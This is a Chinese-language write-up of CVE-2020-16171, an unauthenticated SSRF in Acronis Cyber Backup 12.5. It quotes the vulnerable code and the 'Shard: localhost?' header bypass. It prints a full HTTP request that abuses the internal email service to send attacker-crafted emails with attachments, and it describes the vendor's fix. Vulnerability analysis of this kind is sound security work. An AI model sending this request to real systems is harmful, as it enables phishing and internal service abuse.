您好,登錄后才能下訂單哦!
CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
寫在前面的話
在這篇文章中,我們將跟大家介紹一個存在于Acronis Cyber Backup(受影響版本為v12.5 Build 16341及其之前版本)中的未經認證的SSRF漏洞,該漏洞將允許攻擊者利用綁定到localhost的Web服務來向任意目標用戶發送自定義的電子郵件。這個漏洞的有趣之處就在于,攻擊者將能夠利用該漏洞將自定義的電子郵件作為備份標識符來發送,其中也能包含完全自定義的附件。大家可以想象一下,如果我們能夠向整個組織發送一個Acronis“備份失敗”的郵件,并在其中嵌入一個后門,會發生什么?
Acronis Cyber Backup本質上是一個數據備份解決方案,它可以為系統管理員提供一種強大的方法來自動備份所有接入的系統,比如說客戶端以及服務器等等。解決方案本身就由數十個內部連接的Web服務以及功能組件組成。因此,這個解決方案本質上就是一個由不同C/C++、Go和Python應用程序以及代碼庫組成的解決方案。
應用程序的主Web服務運行在端口9877上,運行之后將顯示一個登錄界面:
毫無疑問,每一個攻擊者的目標都是想要去找到一些在未經身份認證的情況下就能發現的敏感數據。因此,我們需要對主Web服務的源碼進行分析。實際上,我在短時間內就發現了一個名叫make_request_to_ams的方法:
# WebServer/wcs/web/temp_ams_proxy.py: def make_request_to_ams(resource, method, data=None): port = config.CONFIG.get('default_ams_port', '9892') uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource) [...]
這里最有意思的就是這個針對get_ams_address(request.headers)的調用,它主要用來構建URI。在這里,應用程序將讀取該方法中一個名叫Shard的特定請求Header:
def get_ams_address(headers): if 'Shard' in headers: logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard')) return headers.get('Shard') # Mobile agent >= ABC5.0
深入分析make_request_to_ams調用后,我們發現應用程序會調用urllib.request.urlopen并讀取Shard頭中的值:
def make_request_to_ams(resource, method, data=None): [...] logging.debug('Making request to AMS %s %s', method, uri) headers = dict(request.headers) del headers['Content-Length'] if not data is None: headers['Content-Type'] = 'application/json' req = urllib.request.Request(uri, headers=headers, method=method, data=data) resp = None try: resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT) except Exception as e: logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e)) return resp
這樣看來,這很明顯就是一個SSRF漏洞了,而且這里還有幾個因素讓這個SSRF漏洞變得更加嚴重:
request.Request類的初始化使用的全部都是原始的請求Header,請求中的HTTP方法,以及整個請求主體。
將返回完整的響應信息。
在這里,唯一需要繞過的就是目的URI的硬編碼構造了,因為API會向請求的URI附加分號、端口和其他資源:
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
不過別擔心,這個很容易繞過,因為我們只需要添加一個“?”來將它們轉換為參數即可。最終針對Shard頭的Payload如下:
Shard: localhost?
為了利用這個SSRF漏洞,我們需要找到一個可以在未經認證的情況下訪問的路徑。雖然CyberBackup的大多數路徑都只能通過身份驗證才能訪問,但這里有一個有趣的路徑是/api/ams/agents,它就有點不一樣了:
# WebServer/wcs/web/temp_ams_proxy.py: _AMS_ADD_DEVICES_ROUTES = [ (['POST'], '/api/ams/agents'), ] + AMS_PUBLIC_ROUTES
針對這個路徑的所有請求都將被傳遞給route_add_devices_request_to_ams方法:
def setup_ams_routes(app): [...] for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES: app.add_url_rule(uri, methods=methods, view_func=_route_add_devices_request_to_ams) [...]
這樣一來,程序將只會在將請求傳遞給存在漏洞的_route_the_request_to_ams方法之前檢查
allow_add_devices configuration是否已啟用: def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs): if not config.CONFIG.get('allow_add_devices', True): raise exceptions.operation_forbidden_error('Add devices') return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)
這樣,我們就成功找到了一個未經認證的可攻擊路徑了。
其中一個有意思的Web服務運行在localhost:30572上,即通知服務。這個服務能夠提供各種方法來發送通知,其中一個節點就是/external_email/:
@route(r'^/external_email/?') class ExternalEmailHandler(RESTHandler): @schematic_request(input=ExternalEmailValidator(), deserialize=True) async def post(self): try: error = await send_external_email( self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'], self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []), self.json.get('additionalRecipients', []) ) if error: raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', '')) except RuntimeError as e: raise HTTPError(http.BAD_REQUEST, reason=str(e))
這里我們就不去詳細分析send_external_email方法了,因為它確實有點復雜,但是這個節點使用的參數是通過HTTP POST方法來提供的,并使用這些內容來構建之后需要發送的電子郵件。
POST /api/ams/agents HTTP/1.1 Host: 10.211.55.10:9877 Shard: localhost:30572/external_email? Connection: close Content-Length: 719 Content-Type: application/json;charset=UTF-8 {"tenantId":"00000000-0000-0000-0000-000000000000", "template":"true_image_backup", "parameters":{ "what_to_backup":"what_to_backup", "duration":2, "timezone":1, "start_time":1, "finish_time":1, "backup_size":1, "quota_servers":1, "usage_vms":1, "quota_vms":1,"subject_status":"subject_status", "machine_name":"machine_name", "plan_name":"plan_name", "subject_hierarchy_name":"subject_hierarchy_name", "subject_login":"subject_login", "ams_machine_name":"ams_machine_name", "machine_name":"machine_name", "status":"status","support_url":"support_url" }, "images":{"test":"./critical-alert.png"}, "attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="}, "mainRecipients":["info@somerandomemail.com"]}
其中包含了針對電子郵件的自定義配置,比如Base64編碼的attachments值。發送這個POST請求將返回null:
但是最終將包含了attachments的郵件發送給mainRecipients之后,界面如下:
這就成功啦!
Acronis在Acronis Cyber Backup v12.5 Build 16342版本中修復了這個漏洞,Acronis修改了get_ams_address獲取實際Shard地址的方式,現在將需要額外的認證Header(帶有JWT,傳遞給一個名為resolve_shard_address的方法)才可以訪問獲取。
# WebServer/wcs/web/temp_ams_proxy.py: def get_ams_address(headers): if config.is_msp_environment(): auth = headers.get('Authorization') _bearer_prefix = 'bearer ' _bearer_prefix_len = len(_bearer_prefix) jwt = auth[_bearer_prefix_len:] tenant_id = headers.get('X-Apigw-Tenant-Id') logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt)) if tenant_id and jwt: return wcs.web.session.resolve_shard_address(jwt, tenant_id)
tenant_id和jwt的值在這里沒有進行顯式驗證,但它們會在一個針對API節點/api/account_server/tenants/的新硬編碼調用時被使用,并完成最終的授權驗證:
# WebServer/wcs/web/session.py: def resolve_shard_address(jwt, tenant_id): backup_account_server = config.CONFIG['default_backup_account_server'] url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id) headers = { 'Authorization': 'Bearer {}'.format(jwt) } from wcs.web.proxy import make_request result = make_request(url, logging.getLogger(), method='GET', headers=headers).json() kind = result['kind'] if kind not in ['unit', 'customer']: raise exceptions.unsupported_tenant_kind(kind) return result['ams_shard']
關于CVE-2020-16171:Acronis Cyber Backup中的SSRF漏洞分析問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。